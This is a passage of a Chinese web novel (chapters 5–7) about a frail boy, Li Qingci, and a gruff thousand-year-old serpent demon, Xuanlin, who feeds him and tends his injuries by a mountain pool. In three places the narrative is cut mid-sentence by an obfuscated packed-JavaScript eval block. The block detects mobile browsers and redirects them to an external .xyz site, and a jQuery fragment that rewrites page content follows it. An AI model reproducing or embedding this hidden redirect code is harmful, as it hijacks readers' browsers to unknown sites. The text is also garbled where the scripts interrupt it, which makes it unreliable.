陈静婉从小就对李青辞很照顾,不过也是没办法,谁让他长得又高又壮,李青辞瘦瘦弱弱,白生生的小脸看着干净漂亮。 那时候,陈静婉经常在他耳边絮叨,说想要个李青辞那样的弟弟,说她那俩弟弟丑得没眼看,又太淘气经常惹她心烦。 看着李青辞,韩水谚又叹了口气,赶着骡车走到他身边,纳闷道:“青辞,你怎么还是这么瘦,个头也不怎么长,婉婉都比你高了。” 李青辞看着一旁比他高出一个头的韩水谚,抿了抿嘴,没说出话来。 陈静婉走到韩水谚身后,在他腰上拧了一下。 韩水谚嘶了一声,强忍着没跳起来,他连忙转移话题:“青辞,你先去借书,我和婉婉买完布去找你,中午咱们吃凉面,等下午凉快会儿再回去。” 李青辞点头:“好。” 三人进入城门后分开,李青辞一个人朝书肆走去。 走进书肆,李青辞将包袱搁在柜台上,开口道:“张掌柜,我来还书。” “哎,好。”张掌柜抬起头,朝他笑了笑,“青辞又来了!” 语气很是亲切。 张掌柜今年三十有七,看上去温和可亲,早年考秀才一直没考中,便弃了科考,专心经营这家书肆。 他一边噼里啪啦拨弄着算盘,一边笑着跟李青辞说话:“你先去选书,待会儿我给你结账。” 李青辞点了点头,朝身侧的书架走去。 来回翻找几遍,发现大部分都是之前看过的书籍,挑挑拣拣选了两本,他走到柜台边,询问道:“这个月没有进新书吗?” 张掌柜叹气,摇头道:“留燕州那边水路出了问题,船只进不来,估计近一两个月都没有新书了。” “是潇荔江跟梅沟河交界处出了问题吗?”李青辞扣着手指思索,缓缓道,“应该是泥沙淤积导致水位上升,迫使潇荔江改道去了小清河。” 张掌柜一听,惊讶不已:“你怎么知道?猜得分毫不差!” 李青辞回过神,解释道:“在书上看的,七年前发生过类似的事。” “不错!”张掌柜笑眯眯地摸了摸他的脑袋。 李青辞抿嘴一笑,视线落在柜台时,心里又开始失落,闷闷道:“这次没有新书,那我先借两本。” 张掌柜见他这样,没忍住笑了起来,开口打趣他:“好了,别臊眉耷眼的,这次就不收你钱了。” 说完,他轻轻叹了口气,劝道:“青辞啊,你别把钱都花在看书上,去买些吃食,看你这瘦的,这一年也没见你长个。” 他虽然是开门做生意的,但也不差李青辞这点银子。 李青辞听完更失落了,他瘪了瘪嘴,低低道:“知道了。” 用布包好书,他转身走出书肆,在一旁门口等着,没多久,陈静婉和韩水谚驾着车来找他。 三人吃了中饭,一人交了五个铜板坐在茶馆里听说书,又买了些零嘴,然后一同归家。 一进屋,李青辞先灌了一壶凉茶,又把衣裳都脱了,端着水盆往身上浇,今儿一整天出了很多汗,身上又黏又腻。 他拨弄着散下来的头发,坐在床边等头发干。 临睡前,他想,明天要早点去水潭,他实在耐不住这暑热。 另一边。 水潭里的玄鳞,悠闲地甩着尾巴,今天他过得相当自在。 没有人在,他想翻身就翻身。 此时,夜幕中繁星璀璨,昭示着明天又是一个艳阳天。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15514023|170599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 翌日,天刚亮起来一点,李青辞立刻起床。 他一到水潭边,浑身的困意叫嚣着涌上来,清凉舒爽的温度让他一连打了好几个哈欠,刚躺下没多久就睡了过去。 这一觉睡得很沉,直到肚子咕咕作响,他才被饥饿唤醒,翻出衣袍里的油纸,他开始吃饭。 此时,水潭面上涌出一长串水泡,玄鳞换了口气,他鼻翼翕动,皱了皱眉。 走到李青辞身后,玄鳞诧异道:“哟,今天不啃你那石头饼子了!” 骤然响起的声音,给李青辞吓了个哆嗦,他转身看过去。 这人总是这样,走路无声无息,神出鬼没,让人措手不及。 玄鳞见他受惊吓的样儿,开口奚落:“瞧你这小胆儿!” 紧接着,他又纳闷道:“说你胆小吧,你又一个人成天往山上跑,一待就是一天。” 人真是奇怪又复杂的东西。 李青辞嘴里嚼着东西,含糊不清道:“……山…山上凉快,我怕热。” 玄鳞见他抻着脖子去咬手里那只干巴巴的鸡腿,感觉吃奶的劲儿都使上了,也没撕下多少肉。 他忍不住啧了一声:“小心给牙崩了。” 李青辞闻言,摸了摸有些泛酸的门牙,改用手撕。 玄鳞随口问了一句:“昨天怎么没来?” 李青辞用力扯下一小块腿肉往嘴里塞,口齿不清道:“……去城里借书了。” 玄鳞又问:“今天怎么吃肉了?” 李青辞答道:“没新书,现在有多余的钱花。” 他一边说话,一边跟手里的鸡腿较劲,撕扯好一会儿才能揪下一块肉。 玄鳞见他这样忍不住嫌弃:“从哪弄的这鸡腿,硬成这样还能吃吗?” 李青辞点头:“能吃,店家说这是盐焗风干鸡腿,夏季天热,这种能保存很长时间。” 见他还在扣弄,玄鳞实在看不下去了,命令道:“闭眼!” 李青辞抬头看他,微微蹙眉:“为什么?” “你哪来这么多问题,快点照做!” 李青辞抿了抿嘴,没再吭声,听话地把眼睛闭上了。 刚阖眼,他就感觉手中一空,鸡腿被拿走了,没等他睁眼,就听见一声呵斥。 “不许睁眼!” 李青辞顿了一下,仍是照做。 玄鳞用法术将鸡腿撕成细长条,往地下一搁,开口道:“睁眼。” 李青辞闻言睁开眼睛,迷茫地看着男人。 玄鳞往下指了指:“吃吧。” 眼前地上油纸里摆放着整齐的鸡肉条,李青辞看过去,一时怔住了。 他垂下脑袋,捻起一条肉送进嘴里。 此时,李青辞盘腿坐在地上,由于他弯着腰、低着头,让人一眼就能看见他后颈凸出的脊骨,以及单薄的两侧肩胛。 玄鳞看着他乱糟糟的头发,不由得皱眉:“你头发让人薅了?乱得跟一把稻草插头上一样。” 李青辞听完,深深吸了口气又缓缓吐出。 他本来就束不好头发,再加上睡觉难免有翻滚,头发怎么可能保持整整齐齐,抬头瞥了男人一眼,闷闷道:“不是,睡觉弄乱的。” 玄鳞又命令他:“转过去。” 李青辞有一点不高兴,但还是听话地转过去了。 刚转过身,脑袋上就传来一种异样的感觉,像是轻柔的抚摸,又像是微风拂过。 5. 第 5 章 李青辞忍不住伸手去摸,就听见男人喝止他:“别动,吃你的东西。” 他攥了攥手,僵着脊背,忍受这种怪异的感觉。 玄鳞操纵着法术,将李青辞的头发从头到尾梳理整齐,然后用布条绑得结结实实,被打理好的头发,非常柔顺地盘成一团。 这样看着顺眼多了。 玄鳞满意地点了点头:“好了,转过来吧。” 李青辞听见声音,没有第一时间转身,而是先去摸自己的后脑勺。 圆圆的发髻,摸着很整齐。 他转过身,看着男人的眼睛,认真道:“谢谢你。” 玄鳞随意嗯了一声,站起身走了。 他走得太干脆利落,以至于李青辞含在嘴边的话都没来得及说出来,他还不知道这个人的名字。 李青辞努了努嘴,压下心底的失落,继续吃鸡腿。 第二日。 李青辞还未走到山脚,就听见了山上啾啾的鸟鸣声,很清亮的叫声。 他寻着声音朝树上看过去,盯了好一会儿,都没看见鸟儿的身影,只得作罢。 走到水潭边时,李青辞稍稍急切起来,他蹲在水边朝下张望,此时,潭底呈深绿色,他盯了好一会儿,只看到一块大石头上的青苔。 又看了一会儿,李青辞才收回视线,走到阴凉处补眠。 一连七日,潭底都是深绿色的,树林中鸟叫虫鸣,叽叽喳喳。 李青辞头顶一片荷叶,坐在一块光秃秃的大石头上挠腿,屁股底下很热,但是他没起身。 这几日,水潭边多了很多蚊虫,尤其是树荫下,他身上被叮咬出很多大包,特别痒。 手劲儿没控制好,又挠出一条长长的血印,李青辞满心无奈,只好跳下水。 清凉的潭水极大缓解了身上的痒意。 他一边慢悠悠地踩水,一边想着明天要去城里买些驱蚊虫的药包。 可是,又要走好远的路,而且好热啊。 李青辞陷在自己的烦恼里,没注意到周围的鸟叫声停了,连最聒噪的虫子都没了声响。 突然,他脑门上挨了一下,很重的力道。 他不由得叫出了声。 “啊!” 疼得他睁不开眼,慌乱中,只瞥见砸他的东西是个圆圆的、翠绿的、半个掌心大小的东西。 “瞎叫唤什么!”玄鳞支着腿坐在岸边吃果子,一回来就见他的水潭被人霸占,不由得想,这小崽子根本就没有看上去那么乖。 他刚走没一会儿,这小崽子就跳下水,不知道是阳奉阴违,还是原形毕露。 李青辞听见斥责,急促地眨了眨眼,他捡起飘在水面上的果子,朝岸上游过去。 等人离得近了,玄鳞这才注意到他脑门上鼓起的大包,以及红红的眼睛里含着的两泡儿眼泪。 玄鳞一时愣住,他手劲儿有这么大吗? 上岸后,李青辞没说话,将果子丢在男人脚下,走到一边捡起衣服往身上套。 玄鳞不自在地摸了摸鼻子,嘴里含着的果肉也忘了咽。 沉默几瞬。 玄鳞朝李青辞走过去,此时,李青辞正背对他穿衣服,弯腰时,一整条脊骨清晰地凸显出来。 玄鳞看着刚到他胸口的瘦弱小人,莫名有种以大欺小、恃强凌弱的羞愧感。 他堂堂一个千年大妖,把一个凡人小孩欺负哭了,这传出去像什么样子,真是有堕他的威名。 他咽下果肉,咳了一声:“那什么,虽然我是故意砸你的,但绝对不是故意砸疼你的,我手劲儿大,没控制好。” 他往常用惯了法术,一时还真拿捏不好力道。 李青辞闷闷嗯了一声,声音还带着哭腔。 玄鳞绕到他身前,弯下腰,尽力将声音放得轻缓,但是听起来还是很冷硬:“头抬起来。” 李青辞快速抹了两把眼睛,蹭干眼泪,然后抬起头,仰脸看着他。 此时,他脑门上的大包,红肿得更明显了。 巴掌大的小脸、单薄的皮肉上,顶着这样一个大包,很难不让人可怜。 玄鳞搓了搓手指,他一向讨厌跟凡人有直接接触,可眼下也没有更快的办法。 他以指为刃,右手手指划开一道血口,将流出的血液涂抹到李青辞额头的大包上。 其实,血液不如他的涎液有效,但他不可能凑到这小崽子脑门上舔来舔去。 手指刚碰到额头,李青辞就嘶了一声,疼得直往后躲,用手推拒男人:“别碰我,好疼……” “别动!”玄鳞伸手扣住他的后脑勺,继续涂抹,“马上就好了,忍忍。” 李青辞忍不住,两行眼泪顺着脸颊流下来。 “行了,哭哭啼啼的像什么样子!”玄鳞被他哭得心烦,捏着一枚果子摁在他嘴边,“吃!别哭了!” 李青辞也不想哭,但是真得很疼,他是人,又不是没有知觉的石头。 玄鳞捏着果子又往他嘴里塞:“差不多行了,别哭得没完没了,以后你想泡脚、泡澡都随你,行了吧!” 这时脑门传来一阵清凉,疼痛被减缓大半,李青辞抽了抽鼻子,止住眼泪,他一手接过果子,一手擦拭脸上的泪痕。 哭了好一会儿,他感觉头有点晕,于是慢慢俯身坐在地上,拿着果子小口啃咬。 玄鳞见他这副病歪歪的样子,忍不住头疼,简直比黑雁幼崽还弱不禁风。 “啧!”玄鳞蹲下身,看着他说,“小东西,你就不能多吃点饭吗?” “我叫李青辞。”李青辞跟他对视,语气很认真。 玄鳞觉得他莫名其妙、答非所问,敷衍地嗯了一声,接着说:“回家多吃点饭吧。” 李青辞并未接话,而是看着男人又重复一遍:“我叫李青辞。” “我听见了!”玄鳞语气有些不耐烦,他又不聋。 李青辞等了一会儿,也没等到眼前这人说出自己的名字,只好开口询问:“我在和你互通姓名,你叫什么?” 玄鳞闻言挑了挑眉:“玄鳞。” 李青辞追问:“哪两个字?” “玄武的玄,龙鳞的鳞。” “哦,知道了。”李青辞咬下最后一小块果肉,“我是木子李,青山的青,辞别的辞。” 说完,他看着玄鳞,犹疑问道:“你……识字?” “呵!”玄鳞冷嗤一声,“我看过的书,这一整个水潭都堆不下!” 他以前为了躲避觊觎他妖丹的大妖,不得已混在凡人堆里,在一个书院里躲了很长一段时间,为了打发时间翻看了不少书。 虽然那段时间过去很久很久了,他后来远离人群,再没看过书,好多东西都忘了,但他认识的字肯定比李青辞多。 李青辞听完,内心很惊诧,这还是一个有学问的……人。 “别狗眼看人低!”玄鳞斥责一声,见他手里只剩核儿,又递给他一个果子。 李青辞接过来,朝男人笑了笑,问道:“这个是什么?好甜!” “不知道,山上长的。”玄鳞见他这笑模样,觉得好笑,小孩就是好哄,有口吃的就不哭了。 李青辞听完,疑惑地朝四周张望,他对这座山也算得上熟悉:“我怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15514024|170599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么没见山上有这种果子。” “别地儿的山。” “哦,这样啊。”李青辞收回视线,握着手里的果子小小咬了一口,他第一次吃这么甜的果子。 自从他来到乡下,几乎没再吃过什么瓜果。 玄鳞见他那扣扣嗖嗖、小气吧啦的样儿,就忍不住嫌弃,将身上剩余的三个果子都扔给他,催促道:“赶紧吃,吃完立刻下山!” 李青辞并没有听话照做,依旧吃得慢吞吞的,天色不算晚,他还能再待一会儿,而且,有玄鳞在,没有蚊虫咬他了。 “玄鳞,你明天在这里吗?” 玄鳞心气不顺,瞥他:“干什么!” “就是问问。”如果明天玄鳞在,他就不用跑到城里买驱散蚊虫的药包。 “不在!” “哦。”李青辞慢慢嚼着果肉,心想,他明天不用受累、受热跑进城了。 “哦什么哦,啧!”玄鳞看不惯他这么磨叽样,起身离开了。 很快,玄鳞的身影消失在李青辞视线里。 李青辞低下头,专心致志吃果子。 等到太阳变成橙红色,李青辞将果核洗干净,晾在石头上,转身朝山下走去。 待他离开后,潭中掀起巨大的水花,一头庞大的黑色长蛟盘踞在潭底。 小东西可算走了。 回到家中,李青辞摸着自己的发髻,有些舍不得散开,但又不能不洗头。 唉。 临近子时,李青辞揉了揉干涩的眼睛,合上手里的书,撩了一把脑后干燥的头发,朝床边走去。 他摸了摸已经不再肿胀的额头,缓缓陷入沉睡。 第三天傍晚。 他捡起石头上被晒得干燥的果核儿,不紧不慢地朝山下走去。 到家后,他在院子的东南角挖了一个小坑,然后将最大、最饱满的那颗果核埋进坑里。 他一边浇水,一边祈祷,希望果核能发芽,然后长成参天大树,每年都结很多又大又甜的果子。 一日的后半夜。 他躺在床上,突然觉得窗外吹来的风不再那么闷热,紧接着下起了瓢泼大雨。 雨一直下到第二日清晨才停,李青辞难得睡了个好觉。 不过,这场雨只凉快了一天,湿润的土地很快被烈日晒干,接下来的天气还是很燥热,李青辞依旧天天往水潭跑。 玄鳞总是神出鬼没,偶尔突然出现,然后又很快消失。 明明是个很高大的男人,却像是一阵没有重量的风。 一日清晨。 李青辞走在去往山上的途中,觉得刮在身上的风带着一丝凉爽。 算算日子,原来夏日已经过了大半,他和玄鳞也认识快两个月了。 视线不经意掠过,他发现水塘里有一支硕大的荷花在迎风摇曳,比其他荷花足足大了两倍有余。 他凑近去看,一股浓郁的香气扑面而来,他本来想伸手摸摸,奈何花香熏得他头昏脑胀。 他往后退了七八步,远远打量,心想,以后结出的莲子肯定格外香甜。 揉了揉鼻子,他快步离开水塘。 此时,他身后,一缕青烟徐徐从花蕊中钻出,在空中变作一个妙龄女子,身着一袭深红襦裙,看上去明媚艳丽、娇俏可人。 丹螭看着李青辞的背影,心下恼怒,差一点就成了。 她在这少年身上嗅到了玄鳞的气味,要是她能附到少年身上,近距离接触玄鳞,找准玄鳞的死穴,说不定就能得手。 越想越气,她狠狠甩了下袖子,悄无声息地跟在李青辞身后。 6. 第 6 章 李青辞对此毫无知觉,他自顾自闷头走路,等到了水潭边,立刻掬水洗脸,洗了好一会儿,才将鼻息间那股香味除去。 他抹了把脸,看着黑漆漆的潭底,眼中流露出笑意。 走到树荫下,他躺下睡了,没有任何蚊虫侵扰,睡得很安稳。 这时,玄鳞自水底悄然而出,他嗅着空气中难闻的气味,眉心紧蹙。 有别的妖进入了他的领地。 不知死活! 玄鳞嘴唇微动,一道裹挟着法力的厉喝,响彻整个山峦。 “滚!” 藏在暗处的丹螭迅速躲避,却仍是被过于深厚的法力震伤,她咽下喉间的腥甜,飞速逃离这片山头。 玄鳞,你给老娘等着! 此时,睡梦中的李青辞,对这一切懵然不知,依旧睡得很沉。 玄鳞看着他皱眉,去哪滚了这一身难闻的味道,玄鳞烦躁地抬了抬手。 一阵劲风朝李青辞吹去,把他的衣衫、头发吹得呼呼作响,那股味道也随风飘散。 李青辞睡得昏昏沉沉、半梦半醒,他拢了拢身上散开的衣衫,恍惚地想,起风了,是要下雨了吗? 没等他再继续往下想,困意又侵蚀他的意识,很快,他又睡熟了。 玄鳞看他那副样子,心中万分嫌弃。 睡这么死,猪精转世吗! 玄鳞懒得再搭理,一个旋身潜入水底,闭上眼睡觉。 等过了晌午,李青辞悠然转醒。 他起身走到瀑布边接水喝,然后掏出饼子,等吃完饼子又开始跟鸡腿较劲。 这次没有旁人帮他,他撕扯得很艰难,花了好一会儿功夫才将鸡腿完整吃下肚。 现在没有书要看,他坐在空无一人的水潭边,又陷入那种无所事事的境况中。 默默坐了一会儿,他起身离开。 顺着瀑布往上游走,不过他没有走太远,一边走一边在水里搜寻。 终于,他发现了一条手指长的小鱼。 脱去外袍扔在岸上,李青辞弯腰去捉鱼,可是这条鱼极为灵活,他累得气喘吁吁,仍是两手空空。 他直起腰,大口喘气,擦了把额头的汗,想起静婉跟他说过的话,便蹲下去搬石头。 可是他一连翻开几十块石头,累得手心都磨红了,一条小鱼小虾小蟹都没见着。 李青辞不死心,静婉明明就是这么跟他说的,他掬了捧凉水扑在脸上,散去脸上的潮热。 缓了口气,他抬脚往上游去。 突然,屁股被人踹了一脚,他晃着胳膊想保持平衡,恰巧这时脚下的石头很滑,他踉跄着往前倒,一个没站稳,整个人跌进了水里。 身后,玄鳞一脸烦躁地指着人问:“你在这吭吭哧哧干什么呢!” 他正睡着,扑簌簌的泥沙一个劲往他脑袋上砸。 “啊?”李青辞转过身,迷茫地看着他,“我在找鱼虾。” 玄鳞依旧眉头紧蹙:“找那玩意干什么?” “吃。”李青辞低声回答,他想多吃肉,然后长个。 玄鳞瞥了一眼脚边蠢得要死的小鱼,嫌弃的眼神犹如实质般射向李青辞:“你就这么馋,这芝麻点大的小鱼能咂摸出什么味!” 李青辞听完,很不高兴地从水里站起来,他有什么办法,这条溪水里就这一条鱼,而且他累死累活还没抓到。 此时,一阵风刮过。 裤子滴滴答答地往下滴水,李青辞感觉身下凉飕飕的,他抬脚往岸上走。 “站住!”玄鳞喊道。 李青辞充耳不闻,捡起衣服继续往前走。 “李青辞!我让你站住!” 李青辞脚步顿了一下,紧接着恢复步伐继续走。 正走着,后背骤然传来一股巨大的拉力,然后衣领被人攥住,颈间传来窒息感,他不得不停下,脑袋顺着力道往后仰。 玄鳞拽着他的衣领,绕到他脸前,冷声道:“人不大,脾气不小!” 李青辞沉着脸没说话,眉眼压低,神情郁郁地盯着他。 玄鳞见状愣了一下,随即抬起另一只手,在他额头弹了个脑瓜崩:“说你两句怎么了。” 很快,李青辞的脑门迅速红了起来。 然后,没撑过两息,李青辞的眼圈也红了,眼底漫上来水光。 李青辞瘪着嘴,抽了抽鼻子。 玄鳞见状,赶紧松开他的衣领,颇为头疼地看着他:“不许哭。” 李青辞揉了揉自己的额头,快速眨了两下眼睛,然后放下手,狠狠在玄鳞腿上踹了一脚。 虽然不疼不痒的,但是玄鳞感觉自己的威严被挑衅了,他冷下脸:“别蹬鼻子上脸!” 李青辞低头看着自己红肿的掌心,还有额头和屁股上传来的疼痛,这时,一股陌生又熟悉的情绪涌上心头,好像很久远之前有过的情绪。 那种情绪是委屈。 李青辞感觉很茫然,莫名其妙的情绪,他轻轻眨了眨眼睛,开始控制不住地啪嗒啪嗒掉眼泪。 大颗的泪珠落进淙淙的溪水里,溅起一小片水花。 玄鳞低头看着水面上泛起的涟漪,突然感觉很无措。 他明明什么都没有做,只是轻轻踹了一脚,轻轻弹了下脑袋,说话的声音也没有很大,连一点法力都没有用。 可是,眼前这人却一直在哭,看上去很可怜的样子。 玄鳞想不明白,最终,他把这归结在李青辞身上,他们人就是这么奇怪、复杂的东西。 而李青辞又是个中翘楚,麻烦又脆弱。 水面持续荡起涟漪。 玄鳞攥紧拳头,他放轻声音,非常生疏地哄人,语调很艰涩:“……好、好了,别…别哭了。” 李青辞抹了把脸,他也不想哭,明明更凶的话他都听过,可是眼下怎么就止不住这股委屈。 眼睛里不断往外渗出泪珠,李青辞感觉自己莫名其妙。 玄鳞抿了抿嘴,没再开口,他烦躁地在原地转了一圈,然后离开了。 隔着一层泪水,男人的身影有些模糊,李青辞收回视线,蹲下来掬水洗脸。 等了一会儿,眼里终于不再有新的眼泪流出。 他走到岸边,穿上外衫,然后脱下湿漉漉的裤子,将其晾在阳光下的石头上。 揉了揉红肿的眼睛,李青辞感觉头昏脑胀,他走到阴凉处坐下,闭上眼,静静等待身上的不适褪去。 不知过去多久。 李青辞突然眼前一暗,他睁开眼,还未看清眼前的人影。 就听见“邦”的一声闷响,紧接着一股很重的腥味弥漫在他鼻间。 他眨了眨眼,看清地上的东西时不由得惊住了,他愣愣地微张着嘴巴,好半天没有回神。 他身前的地上躺着一条巨大的鱼,真得非常大,这条鱼比他还大! “你不是想吃鱼吗,吃这条。”玄鳞的语气有些不自然,仿佛是不习惯这么轻声说话,言语间很生硬。 “我…我……这……”李青辞开始磕巴,他看了看鱼,又看了看玄鳞,“这、这怎么吃?” 玄鳞闻言皱眉:“你拿回家煮了吃。” “可、可是。”李青辞从地上站起来,伸手比划,“我家里没有这么大的锅。” 玄鳞啧了一声,忍不住提高音量:“你剁成小块不就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15514025|170599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放下了!” “啊?我剁吗?可是……”李青辞迷茫地指了指自己,声音渐渐弱了下去,“我…我应该拿不动它。” 玄鳞闻言一顿,眼神先后落在李青辞和鱼身上,不由得沉默了。 李青辞的身量比这条鱼最起码窄了两圈。 “谢谢你的好意。”李青辞摆手道,“这鱼你留着自己吃吧。” 接着,他不太好意思地小声解释:“我刚刚哭,虽然有一点点是因为你的缘故,但大部分都是我自己的原因,你不用觉得内疚。” 玄鳞看着眼前脑袋低垂的人影,冷冷哼道:“自作多情!” 李青辞抬起头看他,弯着眼睛笑了笑。 此时,玄鳞背后的太阳嫣红灿烂,李青辞笑着说:“太阳要下山了,我也要回家了。” 玄鳞瞥了一眼地上的鱼,开口道:“等会儿,把鱼吃了再走。” 李青辞拿起裤子穿上,心下纠结犹豫,思索片刻,仍是开口拒绝:“不吃了,太阳很快就要落山了。” 玄鳞闻言不解:“太阳落山就落山,关你什么事?” 李青辞抿了抿嘴,轻声道:“那我就赶不上天亮回家了,我有点怕黑。” 玄鳞皱了下眉,没当回事:“我送你下山,天黑前肯定能让你到家。” 话音一落,李青辞很开心地笑着说:“好啊!” 他又可以多凉快会儿了,而且还能吃到鱼。 玄鳞瞥见他那样,从鼻尖溢出一声哼笑。 小东西板着脸的时候挺唬人的,结果一笑跟个傻子似的。 玄鳞单手提起鱼,往水边一扔,动作看起来十分轻松随意,明明是那么大的鱼,他却丝毫不吃力。 李青辞跟在他身后,想凑近看一看,就见他转身指着自己说:“待在这别动,转过去,闭上眼。” 李青辞抠了抠手指头,不情不愿地背身、闭眼。 玄鳞右手一挥,石头上的鱼在顷刻间被剥去鱼鳞、开膛破肚,随即,玄鳞手指转动,瀑布中升起一道水流被引至身前,将鱼冲刷得干干净净,连同地上的血水、鳞片都一并冲走。 玄鳞又一招手,山间一处水塘中的荷叶离开茎秆,快速朝玄鳞飘来。 李青辞蹲着地上,心不在焉地摆弄着几颗小石头,一直凝神听着身后的动静。 忽而,他吸了吸鼻子,闻见一股肉香味儿。 不久后,玄鳞喊他:“过来吃鱼。” “好。”他立刻起身过去,就见水潭边一块平整的地上架起了一个火堆,三串鱼肉横在火上炙烤。 玄鳞拿下其中一串烤好的鱼肉,手指微微用力,被震成小块的鱼肉均匀地摆放在荷叶上,然后把荷叶递给他。 他接过来,发现很烫,便来回在左右手中倒腾,可实在太烫了,他拿不住,只好放在地上。 等了一会儿,他捻起一块微烫的鱼肉,先吹了吹,然后小心咬了一口,顿时一股浓郁的鲜甜在口中爆开。 鱼肉很嫩,能被舌头轻易抿开。 “好吃!真得好吃!”他往玄鳞跟前凑近两步,笑着跟他说话,“我吃了三块,连一根鱼刺都没吃到。” 玄鳞翻动着手上的鱼肉,闻言嗯了一声,见他笑得那傻样儿就忍不住皱眉。 一条鱼,至于吗,跟八百年没吃过东西似的! 李青辞一块接着一块往嘴里送鱼肉,口齿不清地问:“……玄鳞,你…你还会做饭啊?” “这算哪门子做饭,架个火随便烤烤。” 李青辞又凑近一些,轻声道:“我以为……你会喜欢吃生的。” 话音落下,玄鳞抬头瞥了他一眼,眼神意味深长。 7. 第 7 章 很快,玄鳞很收回眼神,语气随意道:“有时候吃腻了,也想换换口味。”、 他化形前的日子,过得并不算自在,吃东西都是囫囵吞下,后来随着修为的提升,他有了很多空闲的时间,活得自在许多。 那时,他睡觉的大树下住着一户人家,经常有炊烟飘到他身上,闲着没事,他偶尔会朝厨房瞟去几眼。 李青辞追问道:“那你——” “话怎么这么多!吃都堵不上你的嘴!”玄鳞拿下剩余的两串鱼肉,用荷叶裹好,扔在他跟前。 “哦。”李青辞撇了撇嘴,不再说话,低头专心吃肉。 他嘴里基本没有空闲过,吃了好一会儿,第一块荷叶上的鱼肉还剩下一半。 摸了摸鼓胀的肚子,他叹惋道:“好饱,我吃不下了。” 玄鳞道:“那就别吃了。” 李青辞看着身前的荷叶不知如何是好,问道:“那剩下的怎么办?” “扔了。” 李青辞心疼道:“这样岂不是很浪费。” 玄鳞不以为然,随口道:“没什么浪费的,扔出去会有其他东西吃。” 李青辞闻言一怔,是啊,对人来说是浪费,可是对其他东西来说也是食物。 他曾经见过一只狸猫的尸体,被啃食得只剩一具森白的骨架。 默了默,他道:“那烤好的这两块我想留到明天吃,山下太热,存放不住,玄鳞,你能帮我看着吗?明天我早早过来。” 玄鳞闻言瞥他:“你小子胆儿越来越大,这就使唤上我了!” “没有,不是使唤。”李青辞笑了笑,神色真诚道,“是恳求。” 玄鳞冷哼一声:“巧言令色!” 李青辞挪到他身边,仰头看他:“可以吗?玄鳞。” 玄鳞垂眸,看着眼皮子底下巴巴望着他的人,从鼻腔哼出一声,勉为其难地答应了。 李青辞开心道:“谢谢你!” 玄鳞啧了一声,往一旁侧身,语气嫌弃:“离我远点!还有,把你嘴上的油擦擦,脏死了!” “哦。”李青辞翘起的嘴角慢慢拉平,他往一旁挪开,用手背蹭了蹭嘴。 此时,天边剩下半个夕阳,玄鳞抬头扫了一眼,开口道:“起来,送你下山。” “好。”李青辞站起来,跟他隔着不远不近的距离。 玄鳞走上前,命令道:“闭眼。” 李青辞照做。 玄鳞五指一张,一条黑色长鞭自袖中射出,在李青辞腰间紧紧缠了两圈。 李青辞感受着腰间的桎梏,伸手摸了摸。 “瞎摸什么!”玄鳞斥了一句,“你那脏爪子刚擦过嘴。” 李青辞抿了抿嘴,认真辩解:“我的手不脏,而且我刚刚是用手背擦的嘴。” 玄鳞懒得搭理他,攥紧鞭柄,隐去身形,朝山下遁去。 “啊啊啊!!!!!!” 丝毫没有提醒,李青辞猝不及防,不由得尖叫出声,他感觉自己双脚离地,整个人飘浮在空中,没着没落。 “玄鳞,我……我害怕……”李青辞挥舞着双手,想找到一个支撑点。 “别叫唤了,到了。”玄鳞撤回鞭子。 “啊?”听见声音的李青辞还是很茫然,缓了两息,他才确认自己的双脚确实踩在了地上,“我可以睁眼吗?” “可以。” 李青辞颤颤地睁开眼睛,就见自己站在一棵茂密的大树下,他回头望了一下,这里离山脚很远。 这就下山了?好快啊! 玄鳞问道:“你家是在前面那片村子里吗?” 李青辞点头:“是。” “行。”玄鳞道,“你回去吧。” 李青辞仰头看天,夕阳还剩一半,他到家只需要一刻钟,时间完全来得及,于是转头看向男人,真诚夸赞道:“玄鳞,你好厉害啊!” 语气里满是惊叹,再无旁的。 玄鳞见状,也有些惊讶,李青辞竟然完全不害怕,他这一手,完全脱离了凡人的能力范畴。 从一开始,他就没打算遮掩“他是妖”这件事,对他而言,就算李青辞知晓他的身份,对他也无足轻重,他也懒得费那个心思遮掩。 这源于他自身的强大,以及对自己的极度自信。 一个修为深厚的千年大妖,不会惧怕一个弱不禁风的凡人崽子。 可是,李青辞为什么不怕他呢? 从第一次见面,直到现在,李青辞对他从来没有流露过惧怕的情绪,李青辞又不是傻子,不可能猜不到他的身份。 “李青辞。”玄鳞弯下腰,慢慢靠近他,锋利、狭长的眼睛眯起,让他的神色看起来阴沉、冷峻,像是蓄势待发即将攻击猎物的猛兽,“你知道我是什么吗?” “知道。”李青辞点点头,“不过,我只知道你是玄鳞。” 玄鳞周身气势一顿,接着问:“你就一点不怕我?” 